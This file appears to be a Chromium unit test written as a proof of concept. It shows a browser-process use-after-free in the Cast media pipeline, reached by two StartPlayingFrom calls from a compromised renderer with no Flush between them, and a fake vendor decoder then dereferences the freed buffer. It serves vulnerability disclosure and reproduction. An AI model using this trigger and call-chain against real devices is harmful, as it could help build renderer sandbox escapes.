// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// POC unit test demonstrating a browser-process use-after-free reachable from a
// compromised renderer via two back-to-back mojom::Renderer::StartPlayingFrom
// calls (no intervening Flush) on a Cast device.
//
// All code under test is real, in-tree Chromium code:
//   - MediaPipelineImpl::StartPlayingFrom        (no release-build state guard)
//   - AvPipelineImpl::StartPlayingFrom           (drops pushed_buffer_ ref)
//   - VideoDecoderWrapper::PushBuffer            (overwrites last ref)
// The only test-supplied component is a *contract-compliant* fake
// MediaPipelineBackend::VideoDecoder, standing in for the out-of-tree vendor
// shlib loaded via CastMediaShlib::CreateMediaPipelineBackend on shipping
// Chromecast / Nest Hub / Cast-enabled-TV silicon. Per the public contract
// (chromecast/public/media/media_pipeline_backend.h:82-99 and
// chromecast/public/media/cast_decoder_buffer.h:22-26), a vendor decoder that
// returns kBufferPending may retain the raw CastDecoderBuffer* and dereference
// it at any time before it calls Delegate::OnPushBufferComplete. Chromium is
// responsible for keeping the buffer alive for that window. This test shows
// Chromium violates that guarantee.

#include <memory>
#include <utility>
#include <vector>

#include "base/functional/bind.h"
#include "base/logging.h"
#include "base/run_loop.h"
#include "base/test/task_environment.h"
#include "chromecast/media/api/cma_backend.h"
#include "chromecast/media/api/decoder_buffer_base.h"
#include "chromecast/media/cma/pipeline/media_pipeline_impl.h"
#include "chromecast/media/cma/pipeline/video_pipeline_client.h"
#include "chromecast/media/cma/test/frame_generator_for_test.h"
#include "chromecast/media/cma/test/mock_frame_provider.h"
#include "chromecast/media/common/video_decoder_wrapper.h"
#include "chromecast/public/media/cast_decoder_buffer.h"
#include "chromecast/public/media/media_pipeline_backend.h"
#include "media/base/media_util.h"
#include "media/base/video_decoder_config.h"
#include "testing/gtest/include/gtest/gtest.h"

namespace chromecast {
namespace media {

namespace {

// Fake vendor MediaPipelineBackend::VideoDecoder. This is the ONLY non-Chromium
// code in the chain, and it strictly follows the public CastDecoderBuffer /
// kBufferPending contract: when its hardware FIFO is full it stores the raw
// CastDecoderBuffer* and returns kBufferPending, then later (asynchronously,
// before invoking Delegate::OnPushBufferComplete) dereferences that pointer.
// CastDecoderBuffer is NOT refcounted, so the vendor cannot AddRef and MUST
// rely on Chromium's lifetime guarantee.
class ContractCompliantVendorVideoDecoder
    : public MediaPipelineBackend::VideoDecoder {
 public:
  ContractCompliantVendorVideoDecoder() = default;
  ~ContractCompliantVendorVideoDecoder() override = default;

  // MediaPipelineBackend::Decoder:
  void SetDelegate(Delegate* delegate) override { delegate_ = delegate; }

  MediaPipelineBackend::BufferStatus PushBuffer(
      CastDecoderBuffer* buffer) override {
    push_count_++;
    LOG(INFO) << "[vendor] PushBuffer #" << push_count_ << " raw=" << buffer
              << " eos=" << buffer->end_of_stream();
    if (push_count_ == 1) {
      // Simulate HW decode FIFO full: store the raw pointer (this is exactly
      // what the public API hands us) and return kBufferPending. Per
      // media_pipeline_backend.h:82-99 the caller MUST keep this object alive
      // until we call delegate_->OnPushBufferComplete().
      pending_raw_buffer_ = buffer;
      return MediaPipelineBackend::kBufferPending;
    }
    // For any subsequent push (which in production is itself a contract
    // violation, since OnPushBufferComplete was never called for buffer #1),
    // just accept it so the feed loop doesn't error out.
    return MediaPipelineBackend::kBufferSuccess;
  }

  // MediaPipelineBackend::VideoDecoder:
  bool SetConfig(const VideoConfig& config) override { return true; }
  void GetStatistics(Statistics* statistics) override {}

  // Called by the test to simulate the vendor's async decode slot opening,
  // i.e. the vendor is about to consume the still-pending buffer it stored.
  // The public contract says this is allowed at any point before
  // OnPushBufferComplete is invoked.
  void VendorAsyncDrain() {
    ASSERT_NE(pending_raw_buffer_, nullptr);
    LOG(INFO) << "[vendor] async drain: dereferencing stored "
                 "CastDecoderBuffer* "
              << pending_raw_buffer_;
    // Virtual call on a polymorphic CastDecoderBuffer through a raw pointer
    // that — per the contract — Chromium promised to keep alive. ASAN will
    // report heap-use-after-free here if Chromium broke that promise.
    volatile int64_t ts = pending_raw_buffer_->timestamp();
    volatile size_t sz = pending_raw_buffer_->data_size();
    LOG(INFO) << "[vendor] read ts=" << ts << " size=" << sz;
    if (delegate_) {
      delegate_->OnPushBufferComplete(MediaPipelineBackend::kBufferSuccess);
    }
  }

  int push_count() const { return push_count_; }

 private:
  Delegate* delegate_ = nullptr;
  // Intentionally a raw pointer: this is the type the public vendor API
  // (MediaPipelineBackend::Decoder::PushBuffer) hands to vendor code.
  CastDecoderBuffer* pending_raw_buffer_ = nullptr;
  int push_count_ = 0;
};

// Minimal CmaBackend that wires the REAL in-tree VideoDecoderWrapper around
// the fake vendor decoder above. In production this wiring is done by
// MediaPipelineBackendWrapper (chromecast/media/common/
// media_pipeline_backend_wrapper.cc), which has no Chromium-side double-Start
// guard either; here we shortcut to just the relevant decoder wrapper since
// MediaPipelineBackendWrapper requires a full MediaPipelineBackendManager.
class TestCmaBackend : public CmaBackend {
 public:
  explicit TestCmaBackend(ContractCompliantVendorVideoDecoder* vendor)
      : wrapper_(std::make_unique<VideoDecoderWrapper>(vendor)) {}
  ~TestCmaBackend() override = default;

  // CmaBackend:
  AudioDecoder* CreateAudioDecoder() override { return nullptr; }
  VideoDecoder* CreateVideoDecoder() override { return wrapper_.get(); }
  bool Initialize() override { return true; }
  // Mirrors in-tree backends (DCHECK-only state check; returns true on
  // re-entry) and the public contract which says Start() is "called only when
  // in Initialized state" — vendors have no reason to reject a second call.
  bool Start(int64_t start_pts) override { return true; }
  void Stop() override {}
  bool Pause() override { return true; }
  bool Resume() override { return true; }
  int64_t GetCurrentPts() override { return 0; }
  bool SetPlaybackRate(float rate) override { return true; }
  void LogicalPause() override {}
  void LogicalResume() override {}

 private:
  std::unique_ptr<VideoDecoderWrapper> wrapper_;
};

std::unique_ptr<CodedFrameProvider> MakeFrameProvider() {
  // A handful of small unencrypted frames so BufferingFrameProvider has data to
  // hand out for both StartPlayingFrom rounds.
  constexpr int kNumFrames = 8;
  std::vector<FrameGeneratorForTest::FrameSpec> specs(kNumFrames);
  for (int i = 0; i < kNumFrames - 1; ++i) {
    specs[i].has_config = (i == 0);
    specs[i].timestamp = base::Microseconds(40000) * i;
    specs[i].size = 256;
    specs[i].has_decrypt_config = false;
  }
  specs.back().is_eos = true;

  auto generator = std::make_unique<FrameGeneratorForTest>(specs);
  auto provider = std::make_unique<MockFrameProvider>();
  // No artificial delay: deliver frames immediately so RunUntilIdle is enough.
  provider->Configure(std::vector<bool>{false}, std::move(generator));
  return provider;
}

}  // namespace

// In production this is reached as:
//   compromised renderer
//     -> media::mojom::Renderer::StartPlayingFrom (x2, no Flush between)
//     -> MojoRendererService::StartPlayingFrom    (no state guard)
//     -> CastRenderer::StartPlayingFrom           (no state guard)
//     -> MediaPipelineImpl::StartPlayingFrom      (DCHECK-only)       <- here
//     -> AvPipelineImpl::StartPlayingFrom         (DCHECK-only; drops ref)
//     -> VideoDecoderWrapper::PushBuffer          (overwrites last ref)
//     -> vendor decoder dereferences freed CastDecoderBuffer*
TEST(CastDoubleStartPlayingFromUAF, VendorPendingBufferFreed) {
  base::test::SingleThreadTaskEnvironment task_environment;

  ContractCompliantVendorVideoDecoder vendor;
  auto backend = std::make_unique<TestCmaBackend>(&vendor);

  MediaPipelineImpl pipeline;
  // Disable buffering controller to keep the path minimal (CastRenderer also
  // runs with buffering disabled when embedded — see cast_renderer.cc).
  pipeline.Initialize(kLoadTypeURL, std::move(backend),
                      /*is_buffering_enabled=*/false);

  std::vector<::media::VideoDecoderConfig> configs;
  configs.emplace_back(
      ::media::VideoCodec::kH264, ::media::H264PROFILE_MAIN,
      ::media::VideoDecoderConfig::AlphaMode::kIsOpaque,
      ::media::VideoColorSpace(), ::media::kNoTransformation,
      gfx::Size(640, 480), gfx::Rect(0, 0, 640, 480), gfx::Size(640, 480),
      ::media::EmptyExtraData(), ::media::EncryptionScheme::kUnencrypted);
  ASSERT_EQ(::media::PIPELINE_OK,
            pipeline.InitializeVideo(configs, VideoPipelineClient(),
                                     MakeFrameProvider()));

  // ---- StartPlayingFrom #1 (legitimate) ------------------------------------
  pipeline.StartPlayingFrom(base::Milliseconds(0));
  task_environment.RunUntilIdle();
  // Buffer A was pushed; vendor returned kBufferPending and holds raw A*.
  ASSERT_EQ(1, vendor.push_count());

  // ---- StartPlayingFrom #2 (renderer-controlled, no Flush) -----------------
  // MojoRendererService / CastRenderer / MediaPipelineImpl have no release-
  // build guard, so this reaches AvPipelineImpl::StartPlayingFrom while
  // state_ == kPlaying. Line 88 there sets pushed_buffer_ = nullptr (ref #1 to
  // A dropped) and re-arms the feed loop.
  pipeline.StartPlayingFrom(base::Milliseconds(10));
  task_environment.RunUntilIdle();
  // The re-armed feed loop pushed buffer B through VideoDecoderWrapper, whose
  // `pushed_buffer_ = std::move(buffer)` overwrote the LAST scoped_refptr to A
  // and freed it — while the vendor still holds raw A* under an outstanding
  // kBufferPending contract.
  ASSERT_GE(vendor.push_count(), 2);

  // ---- Vendor's async decode slot opens ------------------------------------
  // Contract says vendor may dereference its stored raw pointer any time before
  // it calls OnPushBufferComplete. ASAN: heap-use-after-free.
  vendor.VendorAsyncDrain();
}

}  // namespace media
}  // namespace chromecast
